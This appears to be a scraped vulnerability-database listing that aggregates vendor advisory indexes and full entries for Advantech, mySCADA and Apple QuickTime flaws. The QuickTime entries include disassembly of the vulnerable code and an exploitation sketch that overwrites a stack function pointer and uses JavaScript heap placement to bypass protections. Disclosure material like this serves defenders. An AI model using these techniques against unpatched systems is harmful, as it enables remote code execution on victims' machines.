cisco-sa-uccx-editor-rce-ezyyzte8 Cisco Unified Contact Center Express Editor Remote Code Execution Vulnerability 2025-06-04T16:00:00+00:00 2025-06-04T16:00:00+00:00
cisco-sa-te-endagent-filewrt-zncdqnrj Cisco ThousandEyes Endpoint Agent for Windows Arbitrary File Delete Vulnerabilities 2025-06-04T16:00:00+00:00 2025-06-04T16:00:00+00:00
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
sca-2023-0005 Vulnerabilities in SICK EventCam App 2023-06-19T11:00:00.000Z 2023-06-19T11:00:00.000Z
SCA-2023-0005 Vulnerabilities in SICK EventCam App 2023-06-19T11:00:00.000Z 2023-06-19T11:00:00.000Z
sca-2023-0004 Vulnerabilities in SICK FTMg 2023-05-11T13:00:00.000Z 2023-05-11T13:00:00.000Z
SCA-2023-0004 Vulnerabilities in SICK FTMg 2023-05-11T13:00:00.000Z 2023-05-11T13:00:00.000Z
sca-2023-0003 Vulnerability in SICK Flexi Soft and Flexi Classic Gateways 2023-05-03T13:00:00.000Z 2023-05-03T13:00:00.000Z
SCA-2023-0003 Vulnerability in SICK Flexi Soft and Flexi Classic Gateways 2023-05-03T13:00:00.000Z 2023-05-03T13:00:00.000Z
sca-2023-0002 Use of Telnet in multiple SICK Flexi Soft and Flexi Classic Gateways 2023-04-11T10:00:00.000Z 2023-04-11T10:00:00.000Z
SCA-2023-0002 Use of Telnet in multiple SICK Flexi Soft and Flexi Classic Gateways 2023-04-11T10:00:00.000Z 2023-04-11T10:00:00.000Z
sca-2023-0001 Bootloader mode vulnerability in Flexi Soft Gateways v3 2023-02-20T14:00:00.000Z 2023-02-20T14:00:00.000Z
SCA-2023-0001 Bootloader mode vulnerability in Flexi Soft Gateways v3 2023-02-20T14:00:00.000Z 2023-02-20T14:00:00.000Z
sca-2022-0015 Use of a Broken or Risky Cryptographic Algorithm in SICK RFU6xx RADIO FREQUEN. SENSOR 2022-12-08T16:00:00.000Z 2022-12-08T16:00:00.000Z
SCA-2022-0015 Use of a Broken or Risky Cryptographic Algorithm in SICK RFU6xx RADIO FREQUEN. SENSOR 2022-12-08T16:00:00.000Z 2022-12-08T16:00:00.000Z
sca-2022-0013 Password recovery vulnerability affects multiple SICK SIMs 2022-10-21T13:00:00.000Z 2022-11-04T14:00:00.000Z
SCA-2022-0013 Password recovery vulnerability affects multiple SICK SIMs 2022-10-21T13:00:00.000Z 2022-11-04T14:00:00.000Z
sca-2022-0014 SICK FlexiCompact affected by Denial of Service vulnerability 2022-10-31T11:00:00.000Z 2022-10-31T11:00:00.000Z
SCA-2022-0014 SICK FlexiCompact affected by Denial of Service vulnerability 2022-10-31T11:00:00.000Z 2022-10-31T11:00:00.000Z
sca-2022-0012 OpenSSL vulnerability affects multiple SICK SIMs 2022-08-08T13:00:00.000Z 2022-08-03T13:00:00.000Z
SCA-2022-0012 OpenSSL vulnerability affects multiple SICK SIMs 2022-08-08T13:00:00.000Z 2022-08-03T13:00:00.000Z
sca-2022-0010 Vulnerability in SICK Flexi Soft Designer & Safety Designer 2022-05-16T10:00:00.000Z 2022-07-19T10:00:00.000Z
SCA-2022-0010 Vulnerability in SICK Flexi Soft Designer & Safety Designer 2022-05-16T10:00:00.000Z 2022-07-19T10:00:00.000Z
sca-2022-0011 Vulnerabilities in SICK Package Analytics 2022-06-08T15:00:00.000Z 2022-06-08T15:00:00.000Z
SCA-2022-0011 Vulnerabilities in SICK Package Analytics 2022-06-08T15:00:00.000Z 2022-06-08T15:00:00.000Z
sca-2022-0009 Vulnerability in SICK Flexi Soft PROFINET IO Gateway FX0-GPNT and SICK microScan3 PROFINET 2022-04-29T15:00:00.000Z 2022-04-29T15:00:00.000Z
sca-2022-0008 Vulnerability in SICK Gateways for Flexi Soft, Flexi Compact, SICK EFI Gateway UE4740, SICK microScan3 and outdoorScan3 2022-04-29T15:00:00.000Z 2022-04-29T15:00:00.000Z
SCA-2022-0009 Vulnerability in SICK Flexi Soft PROFINET IO Gateway FX0-GPNT and SICK microScan3 PROFINET 2022-04-29T15:00:00.000Z 2022-04-29T15:00:00.000Z
SCA-2022-0008 Vulnerability in SICK Gateways for Flexi Soft, Flexi Compact, SICK EFI Gateway UE4740, SICK microScan3 and outdoorScan3 2022-04-29T15:00:00.000Z 2022-04-29T15:00:00.000Z
sca-2022-0007 Vulnerabilities in SICK MARSIC300 2022-04-21T15:00:00.000Z 2022-04-21T15:00:00.000Z
SCA-2022-0007 Vulnerabilities in SICK MARSIC300 2022-04-21T15:00:00.000Z 2022-04-21T15:00:00.000Z
sca-2022-0006 Vulnerability in SICK MSC800 2022-04-11T15:00:00.000Z 2022-04-11T15:00:00.000Z
sca-2022-0005 Vulnerability in SICK Overall Equipment Effectiveness (OEE) 2022-04-11T15:00:00.000Z 2022-04-11T15:00:00.000Z
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
nn-2023:10-01 DoS on IDS parsing of malformed asset fields in Guardian/CMC >= 22.6.0 before 22.6.3 and 23.1.0 2023-09-18T11:00:00.000Z 2024-09-19T11:00:00.000Z
nn-2022_2-02 Authenticated RCE on project configuration import in Guardian/CMC before 22.0.0 2022-02-14T11:00:00.000Z 2024-09-19T11:00:00.000Z
nn-2022_2-01 Authenticated RCE on logo report upload in Guardian/CMC before 22.0.0 2022-02-14T11:00:00.000Z 2024-09-19T11:00:00.000Z
nn-2022:2-02 Authenticated RCE on project configuration import in Guardian/CMC before 22.0.0 2022-02-14T11:00:00.000Z 2024-09-19T11:00:00.000Z
nn-2022:2-01 Authenticated RCE on logo report upload in Guardian/CMC before 22.0.0 2022-02-14T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2024:2-01 Incorrect authorization for Reports configuration in Guardian/CMC before 24.2.0 2024-09-11T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2024:1-01 DoS on IDS parsing of malformed Radius packets in Guardian before 23.4.1 2024-04-10T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:9-01 Authenticated SQL Injection on Query functionality in Guardian/CMC before 22.6.3 and 23.1.0 2023-09-18T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:8-01 Session Fixation in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:7-01 DoS via SAML configuration in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:6-01 Partial DoS on Reports section due to null report name in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:4-01 Stored Cross-Site Scripting (XSS) in Threat Intelligence rules in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:3-01 Authenticated Blind SQL Injection on alerts count in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:2-01 Authenticated Blind SQL Injection on sorting in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:17-01 Information disclosure via audit records for OpenAPI requests in Guardian/CMC before 23.4.1 2024-04-10T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:15-01 Sensitive data exfiltration via unsafe permissions on Windows systems in Arc before v1.6.0 2024-05-15T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:12-01 Check Point IoT integration: WebSocket returns assets data without authentication in Guardian/CMC before 23.3.0 2024-01-15T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:11-01 SQL Injection on IDS parsing of malformed asset fields in Guardian/CMC >= 22.6.0 before 22.6.3 and 23.1.0 2023-09-18T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:10-01 DoS on IDS parsing of malformed asset fields in Guardian/CMC >= 22.6.0 before 22.6.3 and 23.1.0 2023-09-18T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2022:2-02 Authenticated RCE on project configuration import in Guardian/CMC before 22.0.0 2022-02-14T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2022:2-01 Authenticated RCE on logo report upload in Guardian/CMC before 22.0.0 2022-02-14T11:00:00.000Z 2024-09-19T11:00:00.000Z
nn-2023_5-01 Information disclosure via the debug function in assertions in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023_16-01 Path traversal via 'zip slip' in Arc before v1.6.0 2024-05-15T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023_14-01 Unsafe temporary data privileges on Unix systems in Arc before v1.6.0 2024-05-15T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023_13-01 Missing authentication for local web interface in Arc before v1.6.0 2024-05-15T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023_1-01 Authenticated SQL Injection on Alerts in Guardian/CMC before 22.5.2 2023-05-03T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023:5-01 Information disclosure via the debug function in assertions in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023:16-01 Path traversal via 'zip slip' in Arc before v1.6.0 2024-05-15T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023:14-01 Unsafe temporary data privileges on Unix systems in Arc before v1.6.0 2024-05-15T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023:13-01 Missing authentication for local web interface in Arc before v1.6.0 2024-05-15T11:00:00.000Z 2024-05-20T11:00:00.000Z
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
OXAS-ADV-2023-0003 OX App Suite Security Advisory OXAS-ADV-2023-0003 2023-05-02T00:00:00+02:00 2024-01-22T00:00:00+00:00
OXAS-ADV-2023-0002 OX App Suite Security Advisory OXAS-ADV-2023-0002 2023-03-20T00:00:00+01:00 2024-01-22T00:00:00+00:00
OXAS-ADV-2023-0001 OX App Suite Security Advisory OXAS-ADV-2023-0001 2023-02-06T00:00:00+01:00 2024-01-22T00:00:00+00:00
OXAS-ADV-2022-0002 OX App Suite Security Advisory OXAS-ADV-2022-0002 2022-11-02T00:00:00+01:00 2024-01-22T00:00:00+00:00
OXAS-ADV-2022-0001 OX App Suite Security Advisory OXAS-ADV-2022-0001 2022-08-10T00:00:00+02:00 2024-01-22T00:00:00+00:00
Vulnerabilities are sorted by update time (recent to old).
ID Description
var-201801-0152 An Untrusted Pointer Dereference issue was discovered in Advantech WebAccess versions prior to 8.3. There are multiple vulnerabilities that may allow an attacker to cause the program to use an invalid memory address, resulting in a program crash. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x27eb IOCTL in the webvrpcs process. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A denial of service vulnerability exists in versions prior to Advantech WebAccess 8.3
var-202004-0077 There are multiple ways an unauthenticated attacker could perform SQL injection on WebAccess/NMS (versions prior to 3.0.2) to gain access to sensitive information. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Advantech WebAccess/NMS. Authentication is not required to exploit this vulnerability.The specific flaw exists within the processing of calls to the DeviceData/Performance endpoint. When parsing the mac parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM. Advantech WebAccess/NMS is a set of Web browser-based Network Management System (NMS) software package developed by China Taiwan Advantech Corporation. There is a SQL injection vulnerability in Advantech WebAccess/NMS versions earlier than 3.0.2
var-202411-1369 A parameter within a command does not properly validate input within myPRO Manager which could be exploited by an unauthenticated remote attacker to inject arbitrary operating system commands. mySCADA myPRO is a professional HMI/SCADA system designed primarily for visualization and control of industrial processes
var-202411-1372 The web application uses a weak authentication mechanism to verify that a request is coming from an authenticated and authorized resource. mySCADA myPRO is a professional HMI/SCADA system designed for visualization and control of industrial processes. mySCADA myPRO Manager has an authorization vulnerability that allows attackers to submit special requests and access resources without authorization
var-202411-1370 An OS Command Injection vulnerability exists within myPRO Manager. A parameter within a command can be exploited by an unauthenticated remote attacker to inject arbitrary operating system commands. mySCADA myPRO is a professional HMI/SCADA system designed primarily for visualization and control of industrial processes
var-202411-1371 The administrative interface listens by default on all interfaces on a TCP port and does not require authentication when being accessed. mySCADA myPRO is a professional HMI/SCADA system designed primarily for visualization and control of industrial processes. mySCADA myPRO Manager has an access control error vulnerability that allows attackers to submit special requests and gain unauthorized access to resources
var-202411-1373 The back-end does not sufficiently verify the user-controlled filename parameter which makes it possible for an attacker to perform a path traversal attack and retrieve arbitrary files from the file system. mySCADA myPRO is a professional HMI/SCADA system designed primarily for visualization and control of industrial processes. mySCADA myPRO Manager has a directory traversal vulnerability that an attacker can exploit to submit special requests to view system file contents in the context of the application and obtain sensitive information
var-200512-0300 Heap-based buffer overflow in Apple Quicktime before 7.0.4 allows remote attackers to execute arbitrary code via a GIF image file with a crafted Netscape Navigator Application Extension Block that modifies the heap in the Picture Modifier block. Apple's QuickTime is a player for files and streaming media in a variety of different formats. A flaw in QuickTime's handling of Targa (TGA) image format files could allow a remote attacker to execute arbitrary code on a vulnerable system. Apple From QuickTime Version that fixes multiple vulnerabilities in 7.0.4 Has been released.Arbitrary code may be executed by a remote third party, DoS You can be attacked. For more information, see the information provided by the vendor. QuickTime is prone to a remote heap-based overflow vulnerability. This issue presents itself when the application processes a specially crafted GIF image file. A successful attack can result in a remote compromise. Versions prior to QuickTime 7.0.4 are vulnerable. This flaw has proven to allow for reliable control of data on the heap chunk and can be exploited via a web site by using ActiveX controls. The heap can be overwritten in the Picture Modifier block. The block size calculate code such as: .text:66A339CC mov ax, [esi+0Ch] .text:66A339D0 xor ecx, ecx .text:66A339D2 mov [esp+34h+var_28], ecx .text:66A339D6 mov [esp+34h+var_24], ecx .text:66A339DA mov [esp+34h+var_20], ecx .text:66A339DE mov [esp+34h+var_1C], ecx .text:66A339E2 mov word ptr [esp+34h+var_10], cx .text:66A339E7 mov [esp+34h+arg_4], eax .text:66A339EB movsx eax, ax .text:66A339EE mov word ptr [esp+34h+var_10+2], cx .text:66A339F3 mov cx, [esi+8] .text:66A339F7 movsx edx, cx .text:66A339FA sub eax, edx .text:66A339FC movsx edx, word ptr [esi+6] .text:66A33A00 add eax, 3Eh .text:66A33A03 push edi .text:66A33A04 movsx edi, word ptr [esi+0Ah] .text:66A33A08 sar eax, 3 .text:66A33A0B lea ebx, [esi+6] .text:66A33A0E and eax, 0FFFFFFFCh .text:66A33A11 sub edi, edx .text:66A33A13 movsx edx, ax .text:66A33A16 mov [esi+4], ax .text:66A33A1A imul edi, edx The allocate code is : .text:66A33A68 push edi .text:66A33A69 call sub_668B5B30 But when it real process data to this memory, it use real decode data to write this memory but didn\xa1\xaft check this heap size. This is segment of the write code function(sub_66AE0A70): .text:66AE0B18 movsx edx, word ptr [edi+12h] ; default .text:66AE0B1C imul edx, [edi+0Ch] .text:66AE0B20 mov ecx, [edi+4] .text:66AE0B23 inc word ptr [edi+16h] .text:66AE0B27 mov eax, [esp+arg_0] .text:66AE0B2B add edx, ecx .text:66AE0B2D mov [eax], edx .text:66AE0B2F mov eax, [ebp+10h] .text:66AE0B32 test eax, eax .text:66AE0B34 jz short loc_66AE0B62 .text:66AE0B36 mov ax, [ebp+1Ch] .text:66AE0B3A mov edx, [ebp+0Ch] .text:66AE0B3D movzx cx, ah .text:66AE0B41 mov ch, al .text:66AE0B43 mov [edx], cx .text:66AE0B46 movsx eax, word ptr [edi+12h] .text:66AE0B4A imul eax, [ebp+14h] .text:66AE0B4E add eax, [ebp+10h] .text:66AE0B51 mov cx, [ebp+18h] .text:66AE0B55 mov [ebp+0Ch], eax .text:66AE0B58 mov [ebp+1Ah], cx .text:66AE0B5C mov word ptr [ebp+1Ch], 0 Vendor Status: Apple has released a patch for this vulnerability. An attacker can create a qtif file and send it to the user via email, web page, or qtif file with activex and can directy overflow a function pointer immediately used so it can bypass any stack overflow protection in systems such as xp sp2 and 2003 sp1. Technical Details: When Quicktime processes the data field of a qtif format file, it will copy it to the stack by a byte to a byte , but there is no proper checking, so it will cause a stack overflow in memory. And in this stack, there is a function pointer which will be used immediately when it pre byte copies, so we can use it to bypass any stack overflow protection, such in xp sp2 and 2003 sp1. The origin function point value is 0x44332211. We only need to overflow it to : 0x08332211, ensuring it didn't cause a crash before the 0x44 has been overflowed to 0x08. When it overflows to 0x08332211, we can execute code to 0x08332211, and can first use javascript to get this memory and set my code in it. call [esp+138h+arg_4] <- call a function point in the stack, but this point can be overflowed References QuickTime: QuickTime File Format http://developer.apple.com/documentation/QuickTime/QTFF/index.html Protection: Retina Network Security Scanner has been updated to identify this vulnerability. Vendor Status: Apple has released a patch for this vulnerability. The patch is available via the Updates section of the affected applications. This vulnerability has been assigned the CVE identifier CVE-2005-2340. Credit: Discovery: Fang Xing Greetings: Thanks to all the guys at eEye, and especially Karl Lynn's help. Copyright (c) 1998-2006 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please email alert@eEye.com for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are no warranties, implied or express, with regard to this information. In no event shall the author be liable for any direct or indirect damages whatsoever arising out of or in connection with the use or spread of this information. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-011A Apple QuickTime Vulnerabilities Original release date: January 11, 2006 Last revised: January 11, 2006 Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows XP * Microsoft Windows 2000 Overview Apple has released QuickTime 7.0.4 to correct multiple vulnerabilities. The impacts of these vulnerabilities include execution of arbitrary code and denial of service. I. Description Apple QuickTime 7.0.4 resolves a number of image and media file handling vulnerabilities. (CAN-2005-3713) II. Impact The impacts of these vulnerabilities vary. For information about specific impacts, please see the Vulnerability Notes. Potential consequences include remote execution of arbitrary code or commands and denial of service. III. Solution Upgrade Upgrade to QuickTime 7.0.4. Appendix A. References * US-CERT Vulnerability Note VU#629845 - <http://www.kb.cert.org/vuls/id/629845> * US-CERT Vulnerability Note VU#921193 - <http://www.kb.cert.org/vuls/id/921193> * US-CERT Vulnerability Note VU#115729 - <http://www.kb.cert.org/vuls/id/115729> * US-CERT Vulnerability Note VU#150753 - <http://www.kb.cert.org/vuls/id/150753> * US-CERT Vulnerability Note VU#913449 - <http://www.kb.cert.org/vuls/id/913449> * CVE-2005-2340 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340> * CVE-2005-4092 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092> * CVE-2005-3707 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707> * CVE-2005-3710 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710> * CVE-2005-3713 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713> * Security Content for QuickTime 7.0.4 - <http://docs.info.apple.com/article.html?artnum=303101> * QuickTime 7.0.4 - <http://www.apple.com/support/downloads/quicktime704.html> * About the Mac OS X 10.4.4 Update (Delta) - <http://docs.info.apple.com/article.html?artnum=302810> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA06-011A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History January 11, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8V8iX0pj593lg50AQJ85wf+OuHVseQVzZ0uI8h8TnmtAJmjzV6tp3Cj 34jwpSLlvo5S8svIHChcX/BYOwKVL/uQZswsjk/mbEu+TrPcVKPd7VPCetxIXVey AdC5hsAH1Wm0MnvY1LgvONo8IQ9RlT6Rj6fY7k7QhPUWsYxj/rDCWDAY9kgsHXc/ HpXWL/Cy5va35z8aYHrLVlxmofKrOWtX0PVa6lSKV8lIsY+TDihA5tYIb5wRDVxL osieJ+MHSXGchXpjX2c0o6Ja6vhJNR61LEwelk9FMLT1JRTkp+wz9/AoVUSyZ/hy 0WBP0M8cwl8koWgijNcLXA18YX8QtDftAVRwpwHKMrbNCYdrWblYVw== =5Kiq -----END PGP SIGNATURE-----
var-200512-0643 Heap-based buffer overflow in Apple Quicktime before 7.0.4 allows remote attackers to execute arbitrary code via a crafted (1) QuickTime Image File (QTIF), (2) PICT, or (3) JPEG format image with a long data field. Apple's QuickTime is a player for files and streaming media in a variety of different formats. QuickTime is prone to a remote heap-based overflow vulnerability. This issue presents itself when the application processes a specially crafted QTIF (QuickTime Image) file. A successful attack can result in a remote compromise. Apple QuickTime is prone to a buffer-overflow vulnerability because the application fails to do proper bounds checking on user-supplied data before copying it to finite-sized process buffers. Unsuccessful exploit attempts will most likely crash the application. This issue affects QuickTime 6.5.2 and 7.0.3; other versions may also be vulnerable. QuickTime 7.0.4 may also be vulnerable, but this has not been confirmed. This issue may have previously been discussed in BID 16202 (Apple QuickTime Multiple Code Execution Vulnerabilities). Quicktime will copy to the stack byte by byte when processing the data field of the qtif format file, but it does not perform the correct check, so it will cause a stack overflow in memory. The original function pointer value is 0x44332211. Just overflow it to 0x08332211 and make sure it doesn't crash before overflowing 0x44 to 0x08, and the code will execute. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-011A Apple QuickTime Vulnerabilities Original release date: January 11, 2006 Last revised: January 11, 2006 Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows XP * Microsoft Windows 2000 Overview Apple has released QuickTime 7.0.4 to correct multiple vulnerabilities. The impacts of these vulnerabilities include execution of arbitrary code and denial of service. I. (CAN-2005-3713) II. Impact The impacts of these vulnerabilities vary. For information about specific impacts, please see the Vulnerability Notes. Potential consequences include remote execution of arbitrary code or commands and denial of service. III. Solution Upgrade Upgrade to QuickTime 7.0.4. Appendix A. References * US-CERT Vulnerability Note VU#629845 - <http://www.kb.cert.org/vuls/id/629845> * US-CERT Vulnerability Note VU#921193 - <http://www.kb.cert.org/vuls/id/921193> * US-CERT Vulnerability Note VU#115729 - <http://www.kb.cert.org/vuls/id/115729> * US-CERT Vulnerability Note VU#150753 - <http://www.kb.cert.org/vuls/id/150753> * US-CERT Vulnerability Note VU#913449 - <http://www.kb.cert.org/vuls/id/913449> * CVE-2005-2340 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340> * CVE-2005-4092 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092> * CVE-2005-3707 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707> * CVE-2005-3710 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710> * CVE-2005-3713 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713> * Security Content for QuickTime 7.0.4 - <http://docs.info.apple.com/article.html?artnum=303101> * QuickTime 7.0.4 - <http://www.apple.com/support/downloads/quicktime704.html> * About the Mac OS X 10.4.4 Update (Delta) - <http://docs.info.apple.com/article.html?artnum=302810> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA06-011A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History January 11, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8V8iX0pj593lg50AQJ85wf+OuHVseQVzZ0uI8h8TnmtAJmjzV6tp3Cj 34jwpSLlvo5S8svIHChcX/BYOwKVL/uQZswsjk/mbEu+TrPcVKPd7VPCetxIXVey AdC5hsAH1Wm0MnvY1LgvONo8IQ9RlT6Rj6fY7k7QhPUWsYxj/rDCWDAY9kgsHXc/ HpXWL/Cy5va35z8aYHrLVlxmofKrOWtX0PVa6lSKV8lIsY+TDihA5tYIb5wRDVxL osieJ+MHSXGchXpjX2c0o6Ja6vhJNR61LEwelk9FMLT1JRTkp+wz9/AoVUSyZ/hy 0WBP0M8cwl8koWgijNcLXA18YX8QtDftAVRwpwHKMrbNCYdrWblYVw== =5Kiq -----END PGP SIGNATURE-----
var-200512-0297 Integer overflow in Apple Quicktime before 7.0.4 allows remote attackers to execute arbitrary code via a TIFF image file with modified image height and width (ImageWidth) tags. Apple's QuickTime is a player for files and streaming media in a variety of different formats. Apple From QuickTime Version that fixes multiple vulnerabilities in 7.0.4 Has been released.Arbitrary code may be executed by a remote third party, DoS You can be attacked. For more information, see the information provided by the vendor. QuickTime is prone to a remote integer-overflow vulnerability. This issue presents itself when the application processes a specially crafted TIFF file. A successful attack can result in a remote compromise. Versions prior to QuickTime 7.0.4 are vulnerable. Fortinet Security Advisory: FSA-2006-03 Apple QuickTime Player ImageWidth Denial of Service Vulnerability Advisory Date : January 12, 2006 Reported Date : November 28, 2005 Vendor : Apple computers Affected Products : Apple QuickTime Player v7.0.3 Severity : Medium Reference : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710 http://docs.info.apple.com/article.html?artnum=303101 http://www.securityfocus.com/bid/16202/info Description : Fortinet Security Research Team (FSRT) has discovered a Denial of Service Vulnerability in the Apple QuickTime Player. This is due to application failure to sanitize the parameter ImageWidth value while parsing TIFF image files. Impact : Denial of Service Solution : Apple Computers has released a security update for this vulnerability, which is available for downloading from Apples's web site under security update. Fortinet Protection: Fortinet is protecting network from this vulnerability with latest IPS update. Acknowledgment : Dejun Meng of Fortinet Security Research team found this vulnerability. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-011A Apple QuickTime Vulnerabilities Original release date: January 11, 2006 Last revised: January 11, 2006 Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows XP * Microsoft Windows 2000 Overview Apple has released QuickTime 7.0.4 to correct multiple vulnerabilities. The impacts of these vulnerabilities include execution of arbitrary code and denial of service. I. Description Apple QuickTime 7.0.4 resolves a number of image and media file handling vulnerabilities. (CAN-2005-3713) II. Impact The impacts of these vulnerabilities vary. For information about specific impacts, please see the Vulnerability Notes. Potential consequences include remote execution of arbitrary code or commands and denial of service. III. Solution Upgrade Upgrade to QuickTime 7.0.4. Appendix A. References * US-CERT Vulnerability Note VU#629845 - <http://www.kb.cert.org/vuls/id/629845> * US-CERT Vulnerability Note VU#921193 - <http://www.kb.cert.org/vuls/id/921193> * US-CERT Vulnerability Note VU#115729 - <http://www.kb.cert.org/vuls/id/115729> * US-CERT Vulnerability Note VU#150753 - <http://www.kb.cert.org/vuls/id/150753> * US-CERT Vulnerability Note VU#913449 - <http://www.kb.cert.org/vuls/id/913449> * CVE-2005-2340 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340> * CVE-2005-4092 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092> * CVE-2005-3707 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707> * CVE-2005-3710 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710> * CVE-2005-3713 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713> * Security Content for QuickTime 7.0.4 - <http://docs.info.apple.com/article.html?artnum=303101> * QuickTime 7.0.4 - <http://www.apple.com/support/downloads/quicktime704.html> * About the Mac OS X 10.4.4 Update (Delta) - <http://docs.info.apple.com/article.html?artnum=302810> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA06-011A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History January 11, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8V8iX0pj593lg50AQJ85wf+OuHVseQVzZ0uI8h8TnmtAJmjzV6tp3Cj 34jwpSLlvo5S8svIHChcX/BYOwKVL/uQZswsjk/mbEu+TrPcVKPd7VPCetxIXVey AdC5hsAH1Wm0MnvY1LgvONo8IQ9RlT6Rj6fY7k7QhPUWsYxj/rDCWDAY9kgsHXc/ HpXWL/Cy5va35z8aYHrLVlxmofKrOWtX0PVa6lSKV8lIsY+TDihA5tYIb5wRDVxL osieJ+MHSXGchXpjX2c0o6Ja6vhJNR61LEwelk9FMLT1JRTkp+wz9/AoVUSyZ/hy 0WBP0M8cwl8koWgijNcLXA18YX8QtDftAVRwpwHKMrbNCYdrWblYVw== =5Kiq -----END PGP SIGNATURE-----
